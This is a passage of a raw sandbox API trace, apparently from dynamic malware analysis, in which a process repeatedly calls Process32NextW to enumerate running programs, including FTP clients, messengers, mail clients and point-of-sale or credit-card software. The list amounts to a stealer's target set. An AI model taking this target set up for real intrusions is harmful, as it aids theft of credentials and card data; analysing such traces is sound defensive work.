lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0109.536] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.537] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0109.537] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0109.538] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0109.539] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0109.539] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0109.540] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0109.541] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0109.541] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0109.542] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0109.542] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0109.543] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0109.655] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0109.655] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0109.656] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0109.656] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0109.657] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0109.657] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0109.658] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0109.658] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0109.659] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0109.659] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0109.660] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0109.661] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0109.662] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0109.663] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0109.664] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0109.666] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0109.667] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0109.668] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0109.670] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0109.671] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0109.673] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0109.674] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0109.675] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0109.676] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0109.677] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0109.678] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0109.679] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0109.680] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0109.681] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0109.683] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0109.684] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0109.686] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0109.688] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0109.689] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0109.690] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0109.691] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0109.692] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0109.693] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0109.694] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0109.695] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0109.696] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0109.697] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0109.698] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0109.699] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0109.799] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0109.800] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0109.802] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0109.802] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0109.803] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0109.804] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0109.805] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0109.806] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0109.807] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0109.808] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.809] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.811] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.811] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0109.812] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.813] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0109.814] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0109.815] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0109.816] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.816] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.817] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.818] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0109.818] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0109.819] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0109.820] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0109.821] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.821] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.822] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, 